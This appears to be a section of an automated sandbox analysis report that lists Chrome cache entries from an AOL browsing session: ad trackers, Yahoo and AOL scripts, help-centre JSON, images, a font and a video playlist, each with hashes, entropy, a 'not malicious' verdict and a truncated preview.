File Type:	ASCII text, with very long lines (17142), with no line terminators
Category:	downloaded
Size (bytes):	17142
Entropy (8bit):	5.337943196306117
Encrypted:	false
SSDEEP:	384:wFnF2kI1cJXsyopSEXFMQTcelbyl4J00Jfk7zoeEHoToUAuWQ19eZ3Zn9wTrTcTU:wFF2kI1cNsyo8EXFMQTPIlu00J87zoer
MD5:	96F195B010CDEB89CF3F75EC3B994243
SHA1:	7B6526DF93FF5B31436BF0D04AC177C729C5DA39
SHA-256:	6AF7B09C7736CC2722602CC733F5CB03479CAFFA597B320A13FAFF8481FF226E
SHA-512:	2098702E0D3255ACF075E398EF7D2CEC0499925AC21932D45E1B821ED2D49A7AE51B29D943277D5EF2705071EB76F2A12EBA80FF1C6E0D784B8CBE4EF0720B75
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/os/yaft/yaft-0.3.29.min.js
Preview:	"undefined"!=typeof window&&function(p,f){"use strict";if(void 0===p.YAFT){var v,T,n,o,a=!1,S=!1,i=!1,h=!1,w=!0,A=(new Date).getTime(),r=!1,e=f.documentElement,F={usePrefixRegex:!0,useNormalizeCoverage:!0,canShowVisualReport:!0,canShowPerfBar:!1,useNativeStartRender:!0,useNativeStartRenderMeaningful:!1,maxWaitTime:3e3,modules:[],adModules:[],modulesExclude:[],modulesAft2Container:[],customReportModules:[],includeOnlyAft2:!1,punishAdsOnNoShow:!1,plugins:[],whiteListedContainerElements:["div","section","ul","ol","li","header","img","a","video","figure","span","picture"],customStartRender:!1,preProcess:!1,getAccurateFirstPaint:!0,fpsMinSampleCount:15,fpsMissLimit:18,preferDataModNameOverId:!1},C=0,P=0,E=0,N=[],R={},y={},Y=0,d={},b=0,s=0,M=0,u=0,l=0,c=!1,g=[];(v=V())&&v.timing&&(A=v.timing.navigationStart,v.now=v.now\|\|v.webkitNow\|\|v.msNow\|\|v.mozNow\|\|void 0,v.now&&(void 0===v.getEntriesByType&&void 0===v.webkitGetEntriesByType\|\|void 0===v.getEntriesByName&&void 0===v.webkitGetEntriesByName\|

Chrome Cache Entry: 401

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.21704049178157
Encrypted:	false
SSDEEP:	3:CUdwltxlSle:Jle
MD5:	6C72E040039C5A29D2710A6E6F331C13
SHA1:	77A2919F56AFB1510DAC650D9682E50CB4866793
SHA-256:	9C41BA408EFAF3A7A36099370BC814E38B0AFD42229FA9E0E6040740620C85C0
SHA-512:	6A1A840CED2AB51B100B6D781D52CBB2453125986682428B2E44CF5C180971B90811D629CF22AA56944FC0F4F51B484B1655FC7AF5C2E908AEC337F95AC7572D
Malicious:	false
Reputation:	low
URL:	https://ad.doubleclick.net/ddm/trackimp/test
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 402

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11736
Entropy (8bit):	4.683072216384526
Encrypted:	false
SSDEEP:	192:K+UcmpO7BVAP+tcmpOMZ+ocmpOwuCfB5uYqDoLt+LcmpOYBwEw:tmpO1mmpORmpODPojmpO8w
MD5:	D40C073CA9A5A6000EBF640FCC0A63A9
SHA1:	5FFD966D0A648F9A64FBC32D0809345E88C4EA25
SHA-256:	46C2776774C7B07992CC40A22C5FE0A56BE0A97156336B7B34630973999EEECD
SHA-512:	92670464A131F64B7AF6DFD2659D324EA3D49778F98D1F0D3DB8053D95F4C0BDD2F8DE62D9F5CEB40560F11B51645627AFB486A2A011E1E5234035A156719ABC
Malicious:	false
Reputation:	low
Preview:	{"cpsProductList":[{"sku":"help-central-new-aol-mail","name":"AOL Mail","type":"simple","price":"0.0000","urlSku":"new-aol-mail","showChat":false,"attributes":{"offer_id":null,"svu_product_id":null,"trial_period":null,"obi_product_id":null,"price":"0.0000","myaccount_promo_sku_list":null,"name":"AOL Mail","ls_treatment_name":null,"sku":"help-central-new-aol-mail","status":"1","ls_treatment_short_desc":null,"ls_treatment_sales_pitch":null,"ls_treatment_type":null,"ls_treatment_promo_code":null,"ls_treatment_price_off":null,"help_prod_popular_articles":"overview-of-new-aol-mail,manage-conversations-in-new-aol-mail,search-for-messages-in-new-aol-mail,change-your-sending-name-in-new-aol-mail,account-management-managing-your-aol-password","help_prod_cta1":"Check Your Mail","help_prod_cta1_url":"https://mail.aol.com/","help_prod_cta2":"Try the AOL App","help_prod_cta2_url":"https://aolapps.aol.com/","help_prod_footer_image":null,"help_prod_header_img":null,"help_prod_link1":null,"help_prod_l

Chrome Cache Entry: 403

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1480
Entropy (8bit):	7.630212275449081
Encrypted:	false
SSDEEP:	24:wP1Patdhl8mkeSUzQJI96EmEadRmkol+IvJ+BBAOFRpfdY2gKqEy8zRrRfV:Nx8e5AaDIM+I92XdXgKqX8zDV
MD5:	79AAB87C4D862190541FA781B46DD8AE
SHA1:	E08F1DE9384DFE823C2249C14FF50565F8E253CA
SHA-256:	10A659F38BAD59D2996EC05FA23B2B07FD25DF5833B50B1ACB20B2912566E368
SHA-512:	0528832CD4799FD00AEB74666397CC0B4A93FCEC0BC3B78947ADCF956E16069ABD6A69BC8C9B1FA145E85B1C82BA8A7D767D373A0DD62DAD6C1DCEC3951439DC
Malicious:	false
Reputation:	low
Preview:	......JFIF.....................................................................&""&0-0>>T.......................................................&""&0-0>>T...... . .............y................................................a..1A.!".2.................................................!..1A.aq"...............?.uu..)....k..y..%....a.....m.X.Z:Q.N8iXz.C...}..J)..%...<.J}..CA..S...k.U[..i$%G....i.C......Ha.yU...'U.#..e.2].4...~/....9.7:.i.UR:...B........F3).K.!....\|.Lvk-..IJ...\|+......=...g.........O..A.za.i..6[m........Z&>...ubv&.].....z.......4W.{v.....9.Z...R......C;.b.4.mm.n.X.0.....FS......y}&.j..+..rX..H.A.."..(..b...v.zq[.+...R@/2....4.R$.6.! \|j.....t$e.D.(....(Q...fdQ.....O.#FN.iXHZ)..............$..yPu...n.H,..5...<...Q...Q..6....]v...8.7.t...rw.N....8.s...W.S&..,rU.4.../..9RO<..u....y.....zJ..<.?.<..:...)..M."hYG......#.'-N.d.....z..C..Y[.......2.O..:.K'v.8..o].[@...n.....H.y^..\|...F.......k..G..c#.7wTo..?d.T.....Ojz.^S.....lsAP%......T.....

Chrome Cache Entry: 404

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	47
Entropy (8bit):	4.240239117404927
Encrypted:	false
SSDEEP:	3:JS+DgWAsDQAfn:88UsDpn
MD5:	C26019C2D1F82BB418B2A56B2BACB59B
SHA1:	B11220F5F962FAECC8E9835210C78EA7F87993BA
SHA-256:	09343D3B3473E1C994B2D603C99FEB8A0F63FBD3FF20BE7432FF18B973DBE651
SHA-512:	AE42A74AE1E4AAEDA412ABBEFF6D9072A216C37CE343B103EE5FBABCD58EB9FE4CA7D4AE69D8EDD496F0F3793FBA03FBE7EE7B5C80A6AAE30D1E12B08D53CE9D
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=20215826&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 405

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 4-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	706
Entropy (8bit):	7.548477864749643
Encrypted:	false
SSDEEP:	12:6v/7gZbenw27lf9jGpJ9c7MMGt8d/su+eMmy87Gk1DoQWH5C3bX3/s:tZmmpJ9z89jy8qk1C5Cj0
MD5:	B12B87CFFDAE1BC42B921FCF2BD9CF4C
SHA1:	C707F3E68D75D36B21C4D11945EC0F104D0BFEBC
SHA-256:	F6747270DB8CA343F3A491FC790D6DFB6FB051723BC222566A7D292E6F4A8726
SHA-512:	D0FC28243CD89CE5EFE47A4E37C8F2EE293441CB3E7F71EF9690C754B3ECE0AAE42390E670AB0577F2AC781EC73C2C5C6C466985A5DAA0C23F27109CBB71F9B1
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/wm/login/aol-favicon.png
Preview:	.PNG........IHDR...`...`.......j....-PLTE/../../../../../../.....H.....k..............N.F.....tRNS..W.0.%......>IDATX..1O.1..Oc..&...0..'0."R...- 8..`...H...qUL....3..^.Jh.oq...\.......xu.a.kd.m.:.-..\+.+.yba...++H..bi{...X.6.v.#....%._ .[a.&.8d@...Y....q.@.2.8.i..9.P..y.Pr..2 ....0.k<.p.^..(.i....F.@.9.(....h..z..zt.e...@...zJ..d....@.....@.k..5K.nG..3..E.5=...-..0.g...........XuU.C...h.?......o.@...=D.?.....A.e.....#i...SMe..M.....uCh..6...uY...XX.....#...k'. L...w.v8g.$.02.........oW.<..k.P......0....'"..e.....uk)...I4.A.#.j..S..nr$..X'.6$.7x.W.O.;.-..Gjn..].{....Gi.Y.\|P?..B?.8.A...`O.8.n.h...b.d.....^.......&tZ.N..%>yE......./........U..2.s]...b9..w.C....IEND.B`.

Chrome Cache Entry: 406

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.234496061572304
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM7WsrtxBllKxt8SFFFlpimp:6v/lhPfZM1U82FFlpimp
MD5:	6C6641B08F4BE6F479F1588AF08054B3
SHA1:	8DA28B3146834C48FD843B108749191516D2A65D
SHA-256:	C2ECFF291918A3CAF0B7E470323E89F2A1F05B92E12A10649E598CACEBE62ACF
SHA-512:	BE544E3106F2B8E8083EF88B68806D6CEF2C4FBDD416C2E8EE17C88B42337A2972AF2C54CB8287A86ACCF6AC41CBCCA9A2E79F9E44417F5B144681D2B501E235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................sBIT....\|.d.....IDAT..c````........N.....IEND.B`.

Chrome Cache Entry: 407

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	164362
Entropy (8bit):	5.834966881124233
Encrypted:	false
SSDEEP:	1536:ZjQkQJSPHo5eC+3YTYCzU+M8k6OAkT5VckbMjDbnXJzgdvGXo6AVo3/g7B6NTSbf:aXSP0pTkMbnZMdvlo3/g9V16czF
MD5:	0B1B719912699B5D45810AE284A1DDB1
SHA1:	196E07421D0DEE0709735147B82679FCD7A2AF33
SHA-256:	06B763B62C44FDCD56708E783CB14163DDA085EEFD35EBE4829CBBA248A756A2
SHA-512:	58BBD8F419961E39EE7EB631B3441DC2F80F16AE86D45BA5BC22BCA771C101734F969CEBAD852ABDB91EE8D91C0754D31C6FB7991785FF6DE067F8CF1D72D7E3
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/f10d509c/d3decajspqn3ue.js
Preview:	(new function(){var c=['pceTlsbIBwq6lY9WCMvIAwq/ywrVBwfPBNm9','C2v0qxr0CMLIDxrL','C2L6zq==','y21K','zwXHChnLzf90Aw1L','zxzLBNruExbL','CgfNzwHPzgu=','y3jLyxrLsfrnterVy3vTzw50','zMXVB3i=','C3vIC3rY','DM0TCgXHy2vTzw50','BM8Tzg9J','jImZotS=','y2LVrgvIDwC=','B3bHy2L0Eq==','C2v0vgLTzw91Da==','CMvZB3vYy2u=','u25HChnOB3q=','zxz0lxHOCMG=','B2jZzxj2zq==','v2fYBMLUz3m=','pg9IBJ50Ehq9','yMLKuMvZ','C2nYAxb0q29Kzq==','iL0UChv0ihX8igz1BMn0Aw9UkgH0BwWPihSGzg9JDw1LBNqUD3jPDguOzgvJB2rLvvjjq29TCg9Uzw50kgH0BwWPktSGzg9JDw1LBNqUy2XVC2uOktSGFtSGD3jPDgvgBIGI','y29TCgXLDgu=','yxbPrxzHBfDYyxa=','CNvU','reLw','C3lrGq==','yMLKuMvXq291BNq=','rNjHBwu=','nc4YnY4ZlwfX','qKLeuG==','jMD0oW==','vezg','CM9VDa==','tKfm','we1mshr0CfjLCxvLC3q=','weHssa==','ihWGC3rHy2S6ia==','rv9dqG==','v0felq==','C2v0','q09j','zMfSC2u=','lcbKB2m6ia==','ihWGDxjSoIa=','ywrZ','ywrHz2LV','t0jo','Bxv0zwqG','BwfW','yxbWzw5K','C2vSzG==','C3rHCNruAw1L','zg9JDw1LBNq=','yMXVyJO=','y2fSBgvY','DMLZAwjPBgL0Eq==','jMX0oW==','w0vsuL9uxq==','y29Uy2f0rxjYB3

Chrome Cache Entry: 408

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	179012
Entropy (8bit):	5.171058319275128
Encrypted:	false
SSDEEP:	1536:cBvfInH/CRP7vVVnk4vSefi+b4xWJYoH+KfAScCSwqZzqNOKcP:EvAnuFtfj1fNLVNOl
MD5:	0A677C8DDE5A4EFD506045F7FD085F68
SHA1:	34066FEDBAC62396FBDFFDE26B26572E37B7C0C5
SHA-256:	82B7E4F126436D60F768E82ACF72D32FAB6321A87495541B8A3960EB673F836A
SHA-512:	B806406FF8793099D97ECE8145AC997A7458D619B13749CC7A71ED18A5C38B4EEA7CFA310AA1923DD99CEB15E0DE0A1A51F46BEDC1ACCE2EC6C7C85EAC52F78E
Malicious:	false
Reputation:	low
URL:	https://s.aolcdn.com/caas-assets-production/assets/v1/wafer-core.0a677c8dde5a4efd.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer",[],t):"object"==typeof exports?exports.wafer=t():e.wafer=t()}(self,(function(){return e={18:function(e){var t;"undefined"!=typeof self&&self,t=function(){return function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:o})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="https://s.yimg.com/aaq/wf/",n(n.s=0)}({"../../node_modules/core-js/es/array/from.js":function(e,t,n){"use strict";n("../../node_modules/core-js/modules/es.string.iterator.js"),n("../../node_modules/core-js/modules/es.array.from.js");var o=n("../../

Chrome Cache Entry: 409

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	32139
Entropy (8bit):	5.164546534957773
Encrypted:	false
SSDEEP:	384:vgghICI+Y4Li50jPa1HV6s+3r6J/3OnSqlUxccdzU9lpOlzF0wCLuo3GxeI:vRICI+YNCji18HqJdzUJKFCCFeI
MD5:	C1E8FD1478C920D2B1F4D04046F3EFE4
SHA1:	68E0C1FE0AF3BBC9489E9504999B625DF12E6B26
SHA-256:	D89EB4B6A5024BB27DA6DA6017A827BC55EC95786BB7B4E7A94233D4D0FCC6BA
SHA-512:	32AAE83722680EBFD36DECABAABE718196C67151037D336FC49C43D2CF4F13233A55D17F1FE3B1E4D3E161E53CFE7F643091B64914298D87B915D9C39E8D1D71
Malicious:	false
Reputation:	low
URL:	https://help.aol.com/api/articles
Preview:	{"featured_articles":[{"modified_date":"Feb 21, 2024","created_by":"0051N00000636FlQAI","title":"Reset or change your password","summary":"Your password gives you access to every AOL service you use. Learn how to reset your password if you forget it, and how to change your password.","content":"<p>Your password gives you access to every AOL service you use. If you've forgotten your password, you can reset it to get back in to your AOL account. It's also a good idea to update your password regularly and to make sure it's unique from other passwords you use.</p>\n\n<p>To manage and recover your account if you forget your password or username, make sure you have access to the recovery phone number or alternate email address you've added to your AOL account.</p>\n\n<h3>Reset a forgotten password</h3>\n\n<p>Use Sign-in Helper, AOL's password reset and account recovery tool, to get back in to your account.</p>\n\n<ol><li><a href=\"https://login.aol.com/forgot\" target=\"_

Chrome Cache Entry: 410

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 400x300, components 3
Category:	dropped
Size (bytes):	36746
Entropy (8bit):	7.980407722976079
Encrypted:	false
SSDEEP:	768:/6/WjtRMOQ/WLJiHQ325wCIDGMrRgNLn6RZsD2dt0VAkbEUGLGFMCurKr:/+t9yE22G/FMLnWw2Sb5F6G
MD5:	2B1F8FFF010D419DC4263DD7CB0BF2DD
SHA1:	7ECC14A2A603CA564FABB1FBF772E92470409743
SHA-256:	2C2076289A1062911EBDFCA7E76F02991F2B557DA4B940B5EE3167FD178FC5ED
SHA-512:	38FC56D97E4012D843E45D6752315B4B8447C97795B592A6908A51308F73D93C8BCB06B1B415F31F9AA9A408116CD45E3DAA51FCE8B7699B5E160107F7815826
Malicious:	false
Reputation:	low
Preview:	......JFIF..........................................."......".$...$.6&&6>424>LDDL_Z_\|\|.......................(.....(=&-&&-&=6B525B6aLDDLap^Y^p.zz.............,...............5.................................................................M.4.....D,.].H..a.H9.......k.....@#Z* O...T.cL..t..C..?5Q........fnTd..ZX..,.Zn.1?.....UW.......X..........T{.........uo&l.p..>.=r.. ~.;-..[M?.w...Y......1.i.b..6-q...[l...B_..:v..n.E..D.&.!..kS.}r)F...1Z..@Z.;"..;.&.dA8Y..4..4..\..aL(....2j..r....K..e..j.f.:.W..j.p!].p0.UP$.3..yC..4-VC..)\..ir.~..N..r.!K:.WEY...1...b...e.\../.....:(.Q....H..u.@...4...T.Tp....[i.s..d...dhX.G....2s!c:v.l..\.U.$KUG....uc@B..P...."r.a0..p..?Bm..6....O.....6UY..>.5....?$.J.......ZN....&.j.QE&Qr..uAA..v.E..:.P.-S]1sWiU.y0-ma..Z.x..a...1.....K..h...r....9.......%..i..u.(./.sY&j+.r..X.A5`..q.I.k....G......i..Ax*.O.^....P..e7kCFh,.R8_.......-T..?F.R....r.}.....X.L.r.3..5\]P.H.}..g...N7.i.dy.....WB$..CUQ...........-d....s`...z.2...79..

Chrome Cache Entry: 411

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (31399)
Category:	downloaded
Size (bytes):	104534
Entropy (8bit):	5.474812672336902
Encrypted:	false
SSDEEP:	1536:tYfgKKKcz5adbJ0fTy+5B8IO84M1ad7c0AP0wJFhqRYDZZnMg3m+:o3wJf2+gIOQ8d7B1wJF2jg3T
MD5:	BE4252937DE84054115C8244CFE6415E
SHA1:	DB5839E1BA863B5DCEE08E12B6C5A72EB087EC87
SHA-256:	B4582AA1BC6E2844C8F017661B26BEB77CFC7952B431409528599458591F4090
SHA-512:	F39A3FBA082EA5EE0C48F234B55570EF2B0EA425D6AD305AFFB2C0DFBE2CFB50536A4AF533D68FB23BDF8924D8F1FB6DD00E7A35E8C4BED3553FBB9D5FF2EB9F
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/static/topics/topics_frame.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8" />. <title>Topics Frame</title>. <meta. http-equiv="origin-trial". content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0=". />. <script>. ./.. Copyright 2022 Google LLC. SPDX-License-Identifier: Apache-2.0./.var m,aa,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find

Chrome Cache Entry: 412

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 279080, version 1.0
Category:	downloaded
Size (bytes):	279080
Entropy (8bit):	7.998396383548119
Encrypted:	true
SSDEEP:	6144:drZC7nZJPElFA814zRUhOoQaFqpZuyuFsZpusECyvn2IPOGzN:2TQA81sRUaaMZXuFduen2UV
MD5:	65C46FE9FCC00BED9E63030C2A5EBAED
SHA1:	15736F50FC03259D667725B49F3CE486600BE6B0
SHA-256:	856A76296CAE40BCAC8D12B4BC57986BEFF469EF619AEFBA4EC002ABB4E3714A
SHA-512:	4371356F4059C88862557BAFCEECCB77CF3F9C62CA51633C55F8D8C0A16BAE47F448C663DC6B059B30450EB07CF640C2164D736DD40A6F101B3469DC365328FB
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/aolfp/fonts/opensans/VF/OpenSans-VF.woff2
Preview:	wOF2......B(..........A...........................{...v...?HVAR.x.`?STAT.@',..v+...\|.../.D...........j.0..,.6.$..N. ..V..j...[...2...s....7...l..JnG).@T........00m.?4nPc.w..j.....}...ao..!.f........C...\|..Oi.."&b.F7..z{w`..:..#.c&..E.N...".\-.L.LR.$...$..GZ..j2%q%..dVe>t...Y....&.]..v!.e4..94f+(1....ZH.}.....f.p5%..a....b0..L..&%..d%.cK."$...........b"-..-8>....4.G.T].s.xz"..e.+....@_...$...o!f....r.....o..U...a.W....D<.....b..A....=_.`..^..{y^.....1.n.bWU."~...r.fQ. ..!........ik.Q.....LI..2.dS...G.O.r...g.K.K..II.a....v.r..&..v.A.Pg.x/.x....c?j.._c..M...L.......X.z\|EK.SzW~..rovL..s"..7~...........q$.,,..,,Ug.P..Q..>....}.L...E.t...g...a_X.`...p.CT.C.x.}.Z..3.0..W.}..B..). .0&7.-&...........'.j...Q..<uH."..0.X;.p(...e....ve3.K$..r..+.....D._.".!..z..L>9.....BC..~.U...)~..M....DS..!....F..O..`z..........]..1....B'...6......S.q.$N...Be:K..6KO./]\|.~a......!.".{9.o...mL/.H...8:......>.2'..g~$\|5g.Nx39........T<..j..&.ig.=.5.o. ...

Chrome Cache Entry: 413

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	6.8069497846147735
Encrypted:	false
SSDEEP:	24:PXB2YfUjdFCfd8HdqqnbzYkUthH691zk8a/ZeAIJw9BjF:PXB5Ynacfb/UH6bK/ZeA0mjF
MD5:	55CEF085AA84FFDDE6771D571E0A541F
SHA1:	F51D6A95DA6EB69B3DB4CD580B3190909B0D4F7E
SHA-256:	FA44B758A38E6529C225823A915298FD07A939E19B58BCD334EDBFC2773331AC
SHA-512:	E8940FA167EA80A1038ECDE4D96B7110EBB9A2353F5B71A77EBD9D3DEEC4DDB8160DD99947467BCC3DAF3C7FB197357E5A23F865865E64D0649FE8170857EA9A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2.....).x.....PLTEGpL.............................................................................................................................................................................................................................................................................................................................................................................-.....4..................1..3...../..6.Qh..2....6P...../......Oe.Ja.,G..bv...._t..F...av..................8R..........B[.Yn....(D..@Y.!>.....0...... <......Wl.x..0K...........&B..............Lc.Pf.E..5.?X..:.G^.:S....Zp.......]r.=V.D\../J.....Xn..G^...........#@.o...9.au.u......~...<..Kb.{..dx.(C.Tj...a...ztRNS.RpO.LK}...f..`.$..4..b...MUPT.>..Z_.u!0.^.G...".)........2+..d....9.Xq(a......S\|.....NI7.W..x..y..to...lg....?...;.#.B...&.....IDAT....eW.a....X..T...n......yva))..V..........;.z..wt..u!G.w.l.n.....X...........:.j..]i.

Chrome Cache Entry: 414

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 970 x 250, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	111985
Entropy (8bit):	7.991458970316218
Encrypted:	true
SSDEEP:	1536:s3Hk6mvDQAqOf9LmgTTPVJP3UB3qv6P+wKmy/+9BnuI9xkqkWdEJzWx/+RG:s3EpvcOf5m2TbMBHGMk+ruI9SK/QG
MD5:	BE5C0A42C12DEE6D19B9F13E5185B97A
SHA1:	951E51B32CCC3E9711E0E3575CBD36D15C03AD24
SHA-256:	D39EC7E404193D7EDEE7EEF2B3B55EE0B48DAC5847CBE551C94F493445E3478A
SHA-512:	B59395EBCA47115623DF161CDA6A73E3088431C6B065991F7881A37C031152A4D32D816683AD8EC239C18FBC69C1FDFA8664295760A0283FDC402AE009987050
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/default/20181213/aol_970x250.png
Preview:	.PNG........IHDR.............y.......gAMA......a....IiCCPsRGB IEC61966-2.1..H..SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D..*.A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m....... ......O.

Chrome Cache Entry: 415

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	M3U playlist, ASCII text, with very long lines (893)
Category:	downloaded
Size (bytes):	6637
Entropy (8bit):	5.232477936064733
Encrypted:	false
SSDEEP:	48:OfdjKi2yEpMMPDsP6dbOdIo505osmo5J5osmo565osmo5f5osmo5o5osmo595os7:OftOCAmZKLPLELhLmLbLwLtLyLXLb+ml
MD5:	2875E6270C8F54D31BA26B1447860F41
SHA1:	91B3543E9BAD95D3961D105BF041A57AC94E4601
SHA-256:	D80296292E3CFFBEBA0868CC71519A5587C9E9211E10C9470591EC9EBCF2286C
SHA-512:	536CAB1E5798858987C2142DA6F6AE6DB4A4D8324D9888F3A42065B2FBFFFE49C905EDD83A07DFAA01BD0589D4BC78B72AE12F77926C6BD61B30FF66E2A24B72
Malicious:	false
Reputation:	low
URL:	https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfMzNhYWI2NTQ0M2EyZjQ2MzY3N2FiYTM2N2MzNzY0NGNmNjFhOWZkMjZjYjM3OTczYTVjODYzZDVmMWE2NDkzMg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w
